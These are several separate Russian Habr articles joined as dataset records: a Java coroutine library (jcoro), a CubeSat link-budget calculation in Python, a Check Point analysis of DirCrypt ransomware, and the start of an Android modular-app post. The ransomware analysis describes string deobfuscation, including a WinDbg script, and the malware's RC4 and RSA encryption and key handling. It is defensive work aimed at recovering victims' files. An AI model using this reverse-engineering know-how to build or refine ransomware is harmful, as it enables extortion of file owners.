final AsynchronousServerSocketChannel listener = bind(new InetSocketAddress(5000));
// Чтобы использовать процессор по максимуму, создаём пул потоков по количеству ядер
ExecutorService executorService = Executors.newFixedThreadPool(Runtime.getRuntime().availableProcessors());
while (true) {
AsynchronousSocketChannel channel = accept(listener); // Асинхронная операция
executorService.submit(new Runnable() {
@Override
public void run() {
Coro.initSuspended(new ICoroRunnable() {
@Async({@Await("handle")})
public void run() {
// Код обработки запроса - в нём тоже можно вызывать асинхронные операции,
// так как он работает в сохраняемом контексте
handle(channel);
}
}).start();
}
});
}
}
}).start();
}
@Async({@Await("read"), @Await("write")})
public static void handle(AsynchronousSocketChannel channel) {
ByteBuffer buffer = ByteBuffer.allocate(10 * 1024);
Integer read = read(channel, buffer); // Асинхронная операция
write(channel, outBuffer); // Асинхронная операция
channel.close();
}
```
В коде опущены некоторые блоки try-catch, необходимые для корректной компиляции, это сделано чтобы было легче читать код.
Внутри handle можно добавить любую логику. Например, определение «контроллера» и вызов его через reflection, внедрение зависимостей. Но нужно быть аккуратным с вызовами кода, содержащего точки восстановления, через reflection или неинструментированные библиотеки. Об этом чуть ниже.
С точки зрения утилизации потоков это работает следующим образом. Есть пул рабочих потоков, а есть системный пул потоков, который JVM резервирует для выполнения callback-ов асинхронных операций. Когда какая-то асинхронная операция завершается, один из потоков начинает выполнять callback. В нём сначала восстанавливается состояние сопрограммы, потом сопрограмма продолжает выполнение, либо доходя до завершения, либо до следующей асинхронной операции. После того как сопрограмма завершается (или приостанавливает выполнение после планирования очередной асинхронной операции), поток возвращается в пул. Таким образом, один запрос по очереди может обрабатываться разными потоками, и это накладывает некоторые ограничения на наш код. Так, например, мы не можем пользоваться thread local-переменными, если нет уверенности, что между put и get выполнение сопрограммы не будет прервано. С другой стороны, схема выглядит близкой к оптимальной, и обещает хорошую производительность.
Реализация
----------
В отличие от javaflow, jcoro не инструментирует все методы и все вызовы внутри них. Инструментированию подлежат только сопрограммы — те методы, в которых есть хотя бы одна точка восстановления. Точка восстановления — это вызов, который при выполнении может привести в конечном итоге к вызову yield(). То есть это не обязательно должно происходить при каждом вызове, достаточно теоретической возможности. Как вообще инструментируется код? Как можно сохранить и восстановить состояние выполнения целого потока? Оказывается, это совсем не трудно. Достаточно каждый метод, который претендует на гордое звание сопрограммы, превратить в маленькую state-машину. Для этого в начале метода дописывается байт-код, который ничего не делает, если восстанавливаться не нужно, а если нужно, то выполняет switch(state) и по значению состояния переходит на вызов точки восстановления, на которой выполнение было приостановлено. Этого достаточно, потому что сохранение состояния может произойти только в момент вызова точки восстановления (и сам вызов yield() тоже является точкой восстановления). Ну и плюс к этому нужно не забыть восстановить локальные переменные и стек фрейма. Так как в JVM состояние фрейма однозначно идентифицируется этим набором (состояние стека, локальных переменных и текущая инструкция), то после этого можно утверждать, что всё у нас работает правильно. Аналогичным образом отрабатывает сохранение-восстановление на всём стеке выполнения.
Возвращаясь к нашему примеру, давайте посмотрим на то, во что он превратится:
```
@Async(@Await("yield"))
private String foo(int a, double b, String c) {
Coro c = Coro.get();
c.yield();
return "returnedStr";
}
```
Эта сопрограмма не делает ничего полезного, а только приостанавливает свою работу, а после возвращает значение. В байт-коде это выглядит так:
```
private java.lang.String foo(int, double, java.lang.String);
descriptor: (IDLjava/lang/String;)Ljava/lang/String;
flags: ACC_PRIVATE
Code:
stack=1, locals=6, args_size=4
0000: invokestatic org/jcoro/Coro.get:()Lorg/jcoro/Coro;
0003: astore 5
0005: aload 5
0007: invokevirtual org/jcoro/Coro.yield:()V
0010: ldc "returnedStr"
0012: areturn
```
После инструментирования мы увидим вот что (результат приведён в виде unified diff, к сожалению, хабр не поддерживает подсвечивания строк):
```
private java.lang.String foo(int, double, java.lang.String);
descriptor: (IDLjava/lang/String;)Ljava/lang/String;
flags: ACC_PRIVATE
Code:
- stack=1, locals=6, args_size=4
+ stack=2, locals=6, args_size=4
+ 0: invokestatic org/jcoro/Coro.getSafe:()Lorg/jcoro/Coro; // Получаем текущую сопрограмму
+ 3: ifnull 0000 // Если её нет - переходим к началу метода
+ 6: invokestatic org/jcoro/Coro.popState:()Ljava/lang/Integer; // popState() вернёт нам не null, если есть сохранённое состояние
+ 9: dup
+ 10: ifnull 32 // Восстанавливать ничего не надо - переходим на начало метода
+ 13: invokestatic org/jcoro/Coro.isUnpatchableCall:()Z // Это для поддержки неинструментируемых вызовов
+ 16: ifeq 23
+ 19: invokestatic org/jcoro/Coro.popRef:()Ljava/lang/Object;
+ 22: pop
+ 23: ldc 0
+ 25: invokestatic org/jcoro/Coro.setUnpatchableCall:(Z)V
+ 28: pop
+ 29: goto 43
+ 32: pop
0000: invokestatic org/jcoro/Coro.get:()Lorg/jcoro/Coro; // Тело метода до первой точки восстановления
0003: astore 5
0005: aload 5
+ 40: goto 0007 // Далее - код восстановления состояния перед первой точкой восстановления
+ 43: invokestatic org/jcoro/Coro.popRef:()Ljava/lang/Object;
+ 46: checkcast "Lorg/jcoro/Coro;"
+ 49: astore 5
+ 51: invokestatic org/jcoro/Coro.popRef:()Ljava/lang/Object;
+ 54: checkcast "Ljava/lang/String;"
+ 57: astore 4
+ 59: invokestatic org/jcoro/Coro.popDouble:()D
+ 62: dstore_2
+ 63: invokestatic org/jcoro/Coro.popInt:()I
+ 66: istore_1
+ 67: invokestatic org/jcoro/Coro.popRef:()Ljava/lang/Object;
+ 70: checkcast "Lorg/jcoro/tests/SimpleTest$1;"
+ 73: astore_0
+ 74: invokestatic org/jcoro/Coro.popRef:()Ljava/lang/Object;
+ 77: checkcast "Lorg/jcoro/Coro;"
0007: invokevirtual org/jcoro/Coro.yield:()V // Точка восстановления
+ 83: invokestatic org/jcoro/Coro.isYielding:()Z // Далее - код сохранения состояния
+ 86: ifeq 0010
+ 89: aload_0
+ 90: invokestatic org/jcoro/Coro.pushRef:(Ljava/lang/Object;)V
+ 93: iload_1
+ 94: invokestatic org/jcoro/Coro.pushInt:(I)V
+ 97: dload_2
+ 98: invokestatic org/jcoro/Coro.pushDouble:(D)V
+ 101: aload 4
+ 103: invokestatic org/jcoro/Coro.pushRef:(Ljava/lang/Object;)V
+ 106: aload 5
+ 108: invokestatic org/jcoro/Coro.pushRef:(Ljava/lang/Object;)V
+ 111: aload_0
+ 112: invokestatic org/jcoro/Coro.pushRef:(Ljava/lang/Object;)V
+ 115: ldc 0
+ 117: invokestatic org/jcoro/Coro.pushState:(I)V
+ 120: aconst_null // Возвращаем null, если сопрограмма не завершена
+ 121: areturn
0010: ldc "returnedStr" // Код завершения метода
0012: areturn
```
В начале метода добавился код, определяющий точку восстановления, а перед и после точки восстановления — код для восстановления и сохранения. Если бы точек восстановление было больше, то в начале вместо простого перехода мы бы увидели switch. Есть ещё один нюанс. Раз уж мы пользуемся параллельными стеками для сохранения-восстановления фреймов, то мы должны соблюдать порядок добавления и получения объектов. Если мы сначала кладём на стек объект А, а потом Б, то получать мы их должны в обратном порядке. Поэтому если мы сохраняем сначала локальные переменные, а потом стек фрейма, то восстановление мы должны выполнять наоборот. И плюс сюда отлично вписывается обработка ссылки на объект вызова (this). При сохранении он кладётся на стек крайним, а при восстановлении забирается первым (если, конечно, точка восстановления — нестатический метод). В приведённом примере локальных переменных нет, но с ними код был бы почти такой же.
Unpatchable-код
---------------
К сожалению, описанная стратегия сохранения и восстановления стека работает только если есть возможность инструментировать все сопрограммы. Если какой-то метод, который содержит в себе точку восстановления, мы не можем инструментировать, эта стратегия не сработает. Такое возможно, если мы зовём код посредством рефлекшена или же библиотеки, которую невозможно инструментировать. И если с библиотеками ещё можно что-то придумать, то без рефлекшена ну никак нельзя. Все программисты хотят использовать DI-контейнеры, прокси и AOP. Однако, можно заметить, что чаще всего такого рода вызовы — полностью stateless, то есть сколько их не вызывай, они по сути ничего не делают, кроме передачи управления дальше. И при возобновлении сопрограммы можно вызвать такой метод вторично, просто передав в него те же самые аргументы. А уже в коде, который позовёт он, продолжить восстанавливать состояние. И для поддержки этого механизма нужна лишь вторая стратегия сохранения состояния, при которой аргументы сохраняются перед вызовом, а не после. Эта стратегия сейчас поддерживается в jcoro, а для использования нужно всего лишь помечать точки восстановления как @Await(patchable = false).
Информацию о том, во что превращается вызов метода с использованием каждой из стратегий, можно найти на [вики](https://github.com/elw00d/jcoro/wiki/Bytecode-instrumentation).
Поддержка лямбд
---------------
Лямбды поддерживаются, но кривовато. Есть две проблемы. Одна из них заключается в том, что в java сложно повесить аннотации на лямбду, и ещё сложнее их прочитать. Единственное найденное мной решение основано на появившихся недавно Type Annotations и выглядит следующим образом:
```
Coro coro = Coro.initSuspended((@Async({@Await(value = "yield")}) ICoroRunnable) () -> {
Coro.get().yield();
});
```
Компилятор, когда видит такое, добавляет в class-файл аннотацию и связывает её с инструкцией invokedynamic. И это работает, но, к сожалению, не всегда. Иногда компилятор связывает такую аннотацию не с этой инструкцией, а с предыдущей (скорее всего, это баг), а иногда — вообще не записывает аннотации в class-файл. Например, это происходит при компиляции такого кода:
```
public static void main(String[] args) {
Runnable one = (@TypeAnn("1") Runnable) () -> {
Runnable two = (@TypeAnn("2") Runnable) () -> {
Runnable three = (@TypeAnn("3") Runnable) () -> {
Runnable four = (@TypeAnn("4") Runnable) () -> {
};
};
};
};
}
```
В class-файле окажутся аннотированными только инструкции invokedynamic для внешних двух лямбд. А аннотации для внутренних двух лямбд компилятор проигнорирует. Это тоже скорее всего баг, я отправил его в Oracle, но подтверждения пока не получил. Буду надеяться, что с этим получится разобраться.
Вторая же проблема связана с тем, что лямбды — довольно странные создания в мире Java. Вызываются они как экземплярные методы, но на самом деле представляют собой методы статические. И этот корпускулярно-волновой дуализм создаёт концептуальную проблему для механизма сохранения-восстановления. Дело в том, что для оптимальной стратегии восстановления мы в теле экземплярного метода должны сохранить this (см [схему](https://github.com/elw00d/jcoro/wiki/Bytecode-instrumentation)). Но ссылка на экземпляр функционального интерфейса есть только у вызывающего кода! В конечном счёте, мы приходим к необходимости использовать сохранение аргументов перед выполнением лямбды, то есть, всё тот же вариант с patchable=false (который предназначался для обхода проблем с рефлекшеном). А он работает медленнее. Хотя, быть может, это и не критично по сравнению с неудобствами, которые доставляет необходимость прописывать patchable=false на каждой лямбде-сопрограмме.
Суммируя эти две проблемы, можно сделать неутешительный вывод: лямбды-сопрограммы использовать пока не рекомендуется.
Текущее состояние и планы
-------------------------
Проект доступен по адресу <https://github.com/elw00d/jcoro>. Сейчас доступен движок, [набор тестов](https://github.com/elw00d/jcoro/tree/trunk/jcoro-app/src/test/java/org/jcoro/tests) к нему и несколько [примеров](https://github.com/elw00d/jcoro/blob/trunk/jcoro-app/src/main/java/org/jcoro/SyncaServer.java). Для доведения технологии до ума необходимо сделать следующее:
1. В рамках доработок движка — оптимизировать генерацию stack map frames и порешать проблемы с лямбдами
2. Написать maven и gradle плагины для инструментирования указанных jar-ников или наборов class-файлов
3. Провести тестирование производительности, написав 3 сервера с одинаковой функциональностью. Один будет использовать блокирующую модель, второй — асинхронную на коллбеках (обычное nio, без jcoro), и третий — асинхронный с использованием jcoro. Нужно оценить, сколько кушает сохранение-восстановление контекста по сравнению с кодом, который этого не делает. Очень надеюсь, что это будет не слишком много.
4. Разработка окружения. Самая важная часть. Нужно сделать врапперы и аналоги для самых важных библиотек. В первую очередь это, конечно, jdbc. Нужно придумать какой-то «стандарт» для асинхронного jdbc, а потом сделать для него реализации на самые популярные базы данных — mysql, postgresql, mssql. И затем — враппер для jcoro, который бы заворачивал асинхронные операции в сопрограммы. Сюда же — реализация какого-то примера каркаса для написания веб-приложений.
5. Написать плагин к IntelliJ IDEA, который бы помогал в написании сопрограмм. Сопрограммы и точки восстановления бы как-то выделялись визуально, а ошибки при написании кода (нет аннотации @Await на точке восстановления, нет аннотации @Async) подсказывались при анализе исходника.
6. Оформить документацию, написать внятный User Guide итд.
Если у вас появится желание помочь или попробовать jcoro в деле, welcome! Для публичной коммуникации, наверное, проще всего будет использовать [Github Issues](https://github.com/elw00d/jcoro/issues). | https://habr.com/ru/post/269021/ | null | ru | null |
# Подсчитываем энергобюджет радиолинии для спутника формата CubeSat
Предисловие
===========
Думаю, нужно коротко пояснить, почему вдруг такая, казалось бы, тривиальная тема с подсчетом энергобюджета и почему именно спутники CubeSat? Ну, здесь всё достаточно просто: моя короткая педагогическая практика показала (мне), что тема эта хоть и базисная, но далеко не всеми с первого раза понимаемая, а более того имеющая несколько неочевидных в первом прочтении вопросов. Тем более, что, казалось бы, по таким базовым вещам до сих пор публикуют [статьи в IEEE](https://www.researchgate.net/publication/318067625_Power_Budgets_for_CubeSat_Radios_to_Support_Ground_Communications_and_Inter-Satellite_Links) и делают это [далеко не студенты](https://www.researchgate.net/profile/Otilia_Popescu). Почему именно CubeSat? Здесь всё ещё проще: формат спутника интересный (сам факт существования микро- и наноспутников, как выяснилось, повергает многих в состояние короткого шока), а потому как нельзя кстати подходящий для учебных целей.
Моделирование будет проведено на языке **python 3** по тем же причинам, что я высказывал в [своей предыдущей публикации](https://habr.com/ru/post/446674/). Рассматривать будем низкоорбитальный случай (LEO — Low Earth Orbit), а посчитаем, собственно, отношение сигнал-шум (SNR — Signal-to-Noise ratio) на входе приемника по нисходящему каналу (DL — Down Link). Воспользуемся несколькими справочниками из открытого доступа и построим графики для наглядности.
> Все исходные коды доступны в моём [GitHub репозитории](https://github.com/kirlf/cubesats/blob/master/LinkBudget/SmallSatLB.py), всех интересующихся приглашаю к прочтению! За code review и конструктивную критику буду очень благодарен! Почти тот же материал, но на английском, есть в данном моем [jupyter-notebook](https://nbviewer.jupyter.org/github/kirlf/cubesats/blob/master/LinkBudget/LB.ipynb). Там же есть таблица с временем видимости — вдруг кому пригодится.
Поехали!
По каким формулам будем подсчитывать?
=====================================
Во-первых, это конечно же всем (причастным к тематике) известная формула отношения сигнал-шум в логарифмическом масштабе (в децибелах, по-простому), где мы с определенной долей абстракции учитываем все возможное потери и усиления:
![SNR = P_t + G_t + G_r + \eta_{t} + \eta_{r} - L_r - L_t - L - L_{add} - N [dB]\qquad (1)](https://habrastorage.org/getpro/habr/post_images/0aa/db4/ddc/0aadb4ddc38567973d0653c730d7195b.svg)
где  — общая мощность теплового шума (имеет известное отношение к спектральной плотности шума ) в дБм (децибел на миливатт),  — передаваемая мощность в дБм,  и  — коэффициенты усиления антенны на стороне передатчика и приемника соответственно (в дБи — изотропных децибелах),  и  — усиление фидера передатчика и приемника (в дБ),  и  — потери в фидерах (в дБ),  потери на пути распространения электромагнитной волны в дБ,  — дополнительные потери (так сказать, некоторая маржа (margin)) в дБ.
В общем и целом, с первыми семью слагаемыми всё более или менее ясно: данные справочные. Интереснее дела обстоят с последними тремя участниками процесса.
Мощность теплового шума
-----------------------
Как известно, от этого бича радиоэлектронных устройств скрыться некуда, можно только учесть:
![N = 10lg\left(\frac{kT_{noise}B_{noise}}{10^{-3}}\right) [dBm] \qquad (2)](https://habrastorage.org/getpro/habr/post_images/7ed/5aa/03b/7ed5aa03b9b0a8dbc770ad3ae4e8fe90.svg)
где  — постоянная Больцмана,  — эквивалентная шумовая температура,  — сумма потерь антенны и шума (фона) неба, — шумовая температура приемника (, а  — коэффициент шума, который можно оценить по шумовой картине ( — noise figure) приемной антенны), а  — ширина частотной полосы шума. Можно принимать шумовую полосу равной полосе пропускания самого приемника , однако согласно [1, с.98 ] ширина полосы шума  может быть оценена чуть более точно как , где  — постоянная от 1,002 до 1,57 (относится к конфигурации приемника).
Дополнительные потери
---------------------
Здесь можно принять либо какой-то гарантированный запас, почерпнутый, как правило, из тех же справочников, либо углубиться и посчитать всё самостоятельно.
> В данном разделе я почти полностью полагаюсь на старый добрый учебник Кантора, а именно на эту его часть [1, p.88-96]. Если у читателей есть более актуальные авторитетные источники — просьба поделиться, я думаю, будет полезно всем.
На что в первую очередь обратим внимание:
1) Потери из-за преломления и неточности наведения антенны ([Antenna Beam Loss](http://www.atlantarf.com/Antennas_Overview.php))
Обозначаются как , где  — ширина диаграммы направленности и  — ширина луча половинной мощности, и зависят, как ни трудно догадаться, от характеристик определенных антенных устройств:
2) Фазовые эффекты в атмосфере
Если верить классикам, то влияют эти потери в первую очередь на скорость передачи данных, обусловленную шириной полосы пропускания приемника, ибо полосу желательно выбирать в соответствии с таблицей 1 [1, с. 91 ]. Чтобы избежать фазовых искажений.
Таб. 1. Максимальная ширина полосы приемника для разных диапазонов.
| Несущая частота, ГГц | 0.5 | 1 | 5 | 10 |
| --- | --- | --- | --- | --- |
| Полоса пропускания приемника (B), МГц | 10 | 25 | 270 | 750 |
Хотя, нельзя не отметить, что цифры весьма внушающие и зачастую не рассматриваемые, скорее, по причине шумов тепловых.
3) Потери из-за несогласованности поляризации антенн
Можно оценить в зависимости от коэффициентов эллиптичности  и  (вырезку из советской книжки прилагаю в качестве рисунка 1).
*Рис.1. Зависимость потерь из-за несогласованности поляризаций передающей и приемной антенн от эллиптичности. [1, с. 93 ]*
Однако попадался мне этот параметр и в качестве справочных данных. Например, в расчете энергобюджета для [NanoCom AX100](https://gomspace.com/UserFiles/Subsystems/datasheet/gs-ds-nanocom-ax100-33.pdf) поляризационные потери составляют 3 дБ (атмосферные потери составляют 2,1 дБ, ионосферные потери составляют 0,4 дБ ).
4) Затухание в атмосфере
Этот интересный параметр мы можем оценить либо по [рекомендациям МСЭ](https://www.itu.int/dms_pubrec/itu-r/rec/p/R-REC-P.676-11-201609-I!!PDF-E.pdf), либо посчитать самостоятельно. Благо, есть специальные библиотеки, наподобие [этой](http://pylayers.github.io/pylayers/auto_examples/plot_exAbsGas.html).
Затухания на пути распространения электромагнитной волны (Path Loss)
--------------------------------------------------------------------
Не мудрствуя лукаво, применим для начала [формулу Фрииcа](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D1%80%D0%BC%D1%83%D0%BB%D0%B0_%D0%BF%D0%B5%D1%80%D0%B5%D0%B4%D0%B0%D1%87%D0%B8_%D0%A4%D1%80%D0%B8%D0%B8%D1%81%D0%B0):
![L = 20lg\frac{\lambda}{4\pi d}[dB] \qquad (3)](https://habrastorage.org/getpro/habr/post_images/692/241/f2a/692241f2a5d695d550b7e5e548b4e42e.svg)
где  — длина электромагнитной волны (относится известным образом к несущей частоте ,  — скорость электромагнитной волны (скорость света, если проще)), а  — расстояние между спутниками и наземной станцией.
И здесь мы подходим, пожалуй, к самому интересному вопросу: а какое расстояния взять для расчетов? Как уже было упомянуто во вступлении, рассматриваем мы LEO спутники, а значит относительно Земли наш предполагаемый спутник движется (в отличие от геостационарного случая, при котором спутник, как бы, висит над одной точкой).
Можно, конечно, всё максимально упростить, приняв за основу схему (рис. 2), когда предполагается, что орбита спутника связи пролегает, грубо говоря, "над головой" нашей наземной станции.
*Рис. 2. Схематическое описание траектории CubeSat на низкой околоземной орбите [2].*
Тогда расстояние можно посчитать по формуле:
где  — есть, собственно, радиус Земли,  — высота орбиты спутника, а  — угол элевации.
Однако, можно запариться ещё немного, обратиться снова к классику (уже к другому) [3, p.110-123] и посчитать всё уже относительно реальных географических координат наземной станции (
 и ) и реального положения спутника (мгновенной долготы восходящего узла — instantaneous ascending node  и мгновенного полюса орбиты — instantaneous orbit pole ). Приготовьтесь, будет много тригонометрии:
где  — минимальный центральный угол Земли,  — минимальный угол надира,  — угловой радиус Земли. Максимальное расстояние можно рассчитать по:
где  и  ( — минимальный угол элевации спутника).
**Подведем короткий итог по параметрам**:
1. *Что выбираем в качестве исходных точек*: несущую частоту, высоту орбиты (возможно, положение спутника и географические координаты наземной станции — зависит от точности, которую хотим получить);
2. *Находим зависящие от оборудования и регулируемые параметры*: передаваемая мощность, ширина полосы приемника;
3. *Находим справочные данные*: усиления и потери антенны, усиления и потери в фидере, шумовая температура, дополнительные потери.
Промоделируем, что получилось в итоге
=====================================
В качестве источника технических параметров для оценки нисходящей линии связи нам доступны реальные примеры приемопередатчиков и антенн для спутников CubeSat, такие, как [NanoCom AX100](https://gomspace.com/shop/subsystems/communication-(1)/nanocom-ax100.aspx) и [NanoCom ANT430](https://gomspace.com/shop/subsystems/communication-(1)/nanocom-ant430.aspx). Для большей ширины полосы частот лучше, конечно, рассмотреть **S-диапазон**. Для этого диапазона доступны патч-антенна [NanoCom ANT2000](https://gomspace.com/shop/subsystems/communication-(1)/nanocom-ant2000.aspx) и приемопередатчик [NanoCom SR2000](https://gomspace.com/Shop/subsystems/communication/nanocom-sr2000.aspx).
Начинаем проверять, что получилось.
```
from SmallSatLB import *
import pandas as pd
```
Вся логика условно разделена на две опции: **'draft'**, при которой для подсчета расстояния используется формула (4); и **'precise'**, при которой используются формулы (5) и (6).
**'draft'**
```
l_d = LinkBudget(750*1e3, 'draft') #инициализируем наш класс (доступен по ссылке выше)
d = l_d.distance() # расчитываем расстояние
phi = np.pi*np.array(range(0,181,5))/180 # задаем диапазон углов элевации
plt.plot(180*phi/np.pi, d*1e-3, '-o')
plt.title('Distances')
plt.xlabel('Elevation angles (degrees)')
plt.ylabel('Distance (km)')
plt.grid()
```
```
snr, EIRP = l_d.expected_snr(2.4e9, 1, 7.3, 35, 1.5e6, 1000) # считаем SNR
plt.title('Expected SNRs')
plt.xlabel('Elevation angles (degrees)')
plt.ylabel('SNR (dB)')
plt.legend()
plt.grid()
```
Красота!
**'precise'**
```
l_p = LinkBudget(750*1e3, 'precise',\
L_node = 100+90, incl = 90 - 61.5,\
lat_gs = 22, long_gs = 200, eps_min = 5)
snr, EIRP = l_p.expected_snr(2.4e9, 1, 7.3, 35, 1.5e6, 1000)
print(min(snr))
print(max(snr))
```
```
>>> 5.556823874020452
>>> 8.667000351847676
```
В общем-то вот: есть у нас небольшой инструмент для первичных "прикидок" и расчетов того, насколько ослабнет сигнал, пока будет идти от спутника до Земли (или обратно).
Спасибо всем за внимание!
**Список использованной литературы**:
1. Кантор Л. Я., Аскинази Г. Б. [Спутниковая связь и вещание: справочник](https://mexalib.com/view/16854). – Радио и связь, 1988.
2. Otilia Popescuy, Jason S. Harrisz and Dimitrie C. Popescuz, Designing the Communica- tion Sub-System for Nanosatellite CubeSat Missions: Operational and Implementation Perspectives, 2016, IEEE
3. Wertz J. R., Larson W. J. Space Mission Analysis and Design, Space Technology Library. – Microcosm Press and Kluwer Academic Publishers, El Segundo, CA, USA,, 1999. | https://habr.com/ru/post/447728/ | null | ru | null |
# Как мы (почти) победили DirCrypt
*Перевод [статьи](http://www.checkpoint.com/download/public-files/TCC_WP_Hacking_The_Hacker.pdf) от компании Check Point’s Malware Research Team.*
DirCrypt — один из самых злостных видов вымогающей деньги малвари. Она не просто зашифровывает все найденные пользовательские файлы, требуя выкуп за их расшифровку, но и остается в системе, подхватывая и зашифровывая сохраняемые пользователем файлы на лету. После ее появления работа на компьютере превращается в мучение.
Жертвам подобных вредоносных программ обычно рекомендуют восстановить файлы из раннего бэкапа. Но если такого бэкапа нет, перед нами остается трудный выбор — смириться с потерей данных или заплатить злоумышленнику. Однако, нам (Check Point’s Malware Research Team) удалось найти способ в случае DirCrypt восстановить почти все данные, воспользовавшись его слабыми сторонами в реализации шифрования.
Типичная жертва DirCrypt узнает об атаке только по факту ее совершения. Малварь прочесывает жесткие диски в поисках документов, изображений и архивов. После этого к имени найденных файлов добавляется строка ".enc.rtf". Если вы попытаетесь просмотреть их содержимое в «сыром» виде — то не увидите и следа старых данных. А после открытия этого файла как RTF-документа перед вами предстанет инструкция по выплате денег мошеннику.
*Файловая система до шифрования файлов*
*Файловая система после шифрования файлов*
Здесь мы и начинаем наше расследование. Дизассемблированный код программы запутан и обфусцирован, и нам предстоит разыскать в нем код, выполняющий шифрование. Поскольку к каждому обработанному файлу добавляется суффикс ".enc.rtf", можно сделать логический вывод о том, что где-то в районе шифрующих функций мы увидим ссылку на эту строку. Но после беглого осмотра в Hex-Rays’ IDA-Pro мы обнаруживаем, что большинство строк и бинарнике обфусцированы. Таким образом, перед нами встает первая задача: расшифровать эти строки.
Один из способов поиска зашифрованных строк — просто изучить все секции на предмет наличия блока на первый взгляд рандомных данных. После этого нужно найти функцию с кросс-ссылкой (DATA XREF) на этот кусок бинарных данных. Если в эту функцию передается индекс, находящийся в неких ограниченных пределах, значит мы нашли то, что искали.
Найти область с зашифрованными данными оказалось довольно легко — это большой чанк в секции .data.
*Зашифрованные строки*
Изучив перекрестные ссылки на этот блок данных, мы узнаем, что к нему обращается несколько функций, одна из которых вызывается в коде аж 170 раз. Обращаясь непосредственно к местам ее вызова, мы видим, что в нем первым параметром передается индекс. Бинго, мы тебя поймали!
Сам код для расшифровки строк довольно длинный и сложный. Так как наша цель — расшифровать строки как можно скорее, мы не стали реверсить этот алгоритм, а написали небольшой скрипт для Windbg, который сделал сложную работу за нас:
```
.while (@$t0 < 0xe1) { .printf “\n%02x”, @$t0; r eip = 0x40456a; p; p; p; eb esp @$t0; p; du @eax; r $t0 = @$t0 + 0x01 }
```
Этот код в цикле вызывает расшифровывающую функцию, передавая в ее по очереди значения индекса из диапазона, а сами расшифрованные строки выводятся в окно терминала.
*Пример вывода декодированных строк Windbg*
Теперь нам надо перенести полученные строки в IDA-Pro для удобства статического анализа. Мы решили включить их в текст в виде комментариев в тех местах, где они используются. Для этого на IdaPython был написал небольшой скрипт, который принимает на вход файл (“strings.txt”) с дампом вывода Windbg и вставляет строки туда, где вызывается функция по их расшифровке. Теперь мы можем быстро перемещаться по перекрестным ссылкам на интересующие нас строки из диалога DecryptString.
Теперь в таблице таких ссылок найдем ".enc.rtf" и обнаружим, что она используется лишь в одном месте. Поскольку суффикс добавляется к файлам после шифрования, можно смело предположить, что мы близко подобрались к самому коду, выполняющему его.
Код функции, которая ссылается на ".enc.rtf", довольно нагляден, да и IDA-Pro сделала часть работы за нас, правильно определив ее аргумент как имя файла. В начале функции вызывается другая функция, после которой происходит получение и декодирование суффикса ".enc.rtf", а затем — переименование файла. То есть видно, что сам процесс шифрования происходит до переименования в той самой первой функции.
Переместившись в ее, мы находим объемный код с повторяющимся паттерном: из файла чанками считываются данные, которые потом изменяются и записываются обратно в файл. Это классическое поведение криптующих функций, так что можно быть уверенным: мы нашли, что искали. Теперь начинается самое интересное.
*Внешняя обертка функции, выполняющей шифрование*
Малварь в цикле считывает чанки содержимого файла, в памяти зашифровывает их и записывает по тем же смещениям, затирая предыдущие данные.
*Цикл, в котором выполняется шифрование*
Забираясь немного глубже, мы понимаем, что на самом деле шифрующих функций две. Первая вызывается для каждого чанка прочитанных данных и шифрует, таким образом, файл целиком. В качестве аргумента в эту функцию передается указатель на объект, данные по которому создаются во второй функции. Опытный глаз узнает здесь инициализацию S-блока алгоритма RC4.
Шифрование выполняется для каждого файла по отдельности, и при этом инициализация S-блока выполняется по одному и тому же ключу для каждого файла.
*Инициализация и работа алгоритма RC4*
Если вам когда-либо приходилось видеть ляпы в криптографии, здесь вы просто не поверите своим глазам. А раз S-блок постоянно инициализируется заново, то для каждого файла используется одинаковый ключевой поток. Нам остается сделать финальный шаг: если мы знаем исходное содержимое зашифрованного файла на компьютере жертвы, то для получения ключевого потока нам нужно побайтово выполнить операцию XOR между оригинальными и зашифрованными данными.
ОК, нам нужно найти файл, который гарантированно имеется на файловой системе Windows. Это, например, стандартные изображения для фона рабочего стола. Их размер — около 100 Кб, так что мы, не потратив значительных усилий, можем получить ключевой поток такого же размера.
И только эта мысль промелькнула у нас в голове, как нам в глаза бросился следующий код:
*Дописывание ключа RC4 в конец зашифрованного файла*
Подобрав с пола челюсти, мы начинаем всерьез жалеть автора этой недоделанной малвари. Вероятно, находясь в замешательстве относительно того, где сохранить ключ, он каким-то образом решил дописать его в конец файла, где каждый сможет его найти. Почему-то эта идея показалась ему подходящей.
Для нас это тоже выгодно: теперь мы сможем воспользоваться тем же RC4, чтобы полностью расшифровать файл.
Но постойте. Здесь перед нами встает другая проблема: для шифрования файлов используется не только RC4.
*Шифрование первых 1024 байт RSA*
Первый чанк размером 1024 байта шифруется по алгоритму RSA. Внутри файла приватный ключ не сохраняется, так что одним из способов его получения является выплата денег злоумышленнику в обмен на ключ. Предполагая, что денег мы платить не станем (и атаковать сервер выдачи ключей не будем), единственным выходом остается спасти все, кроме первых 1024 байт.
В ряде случаев (в зависимости от формата восстанавливаемого файла) эту задачу можно успешно решить. Давайте для примера возьмем стандартный .doc-файл. В нем, начиная со смещения 0x1A00, находится текст файла в юникоде. Дадим DirCrypt зашифровать наш экспериментальный файл и сравним его содержимое «до» и «после»:
*Экспериментальный документ, созданный в Microsoft Word*
*Документ в hex-редакторе до шифрования*
*Документ в hex-редакторе после шифрования*
В случае .doc-файлов мы написали несложный скрипт на Python, который извлекает RC4-ключ, расшифровывает с его помощью файл (кроме первых 1024 байт) и сохраняем текст в ASCII. Запустив его для нашего экспериментального файла, мы смогли полностью восстановить текст документа.
*Извлеченный текст*
#### Послесловие
В этой статье мы рассказали о приемах, которые помогут вам найти уязвимость в криптомалвари. Изначальной целью для нас было продемонстрировать, что атаки, которые совершает эта категория вредоносных программ, поддается анализу в большей или меньшей степени, и защищающаяся сторона почти всегда может обнаружить и воспользоваться неудачными ходами злоумышленника. | https://habr.com/ru/post/235487/ | null | ru | null |
# Создаём модульное приложение
 Вы захотели сделать браузер с плагинами, программу с темами, игру с аддонами или какое-то другое модульное приложение для Android? Но как это сделать? Я расскажу, как сделать простое приложение, которое будет получать текст от модулей.
Возможно, то, что тут написано является костылями, но на [dev.android.com](http://dev.android.com/) и в [гугле](http://google.com/) на эту тему я ничего не нашёл. Те, кто не любит читать лишнего, могут сразу разбирать [код](http://code.google.com/p/wnezros-samples/source/browse/#svn/trunk/moduled).
#### Теория
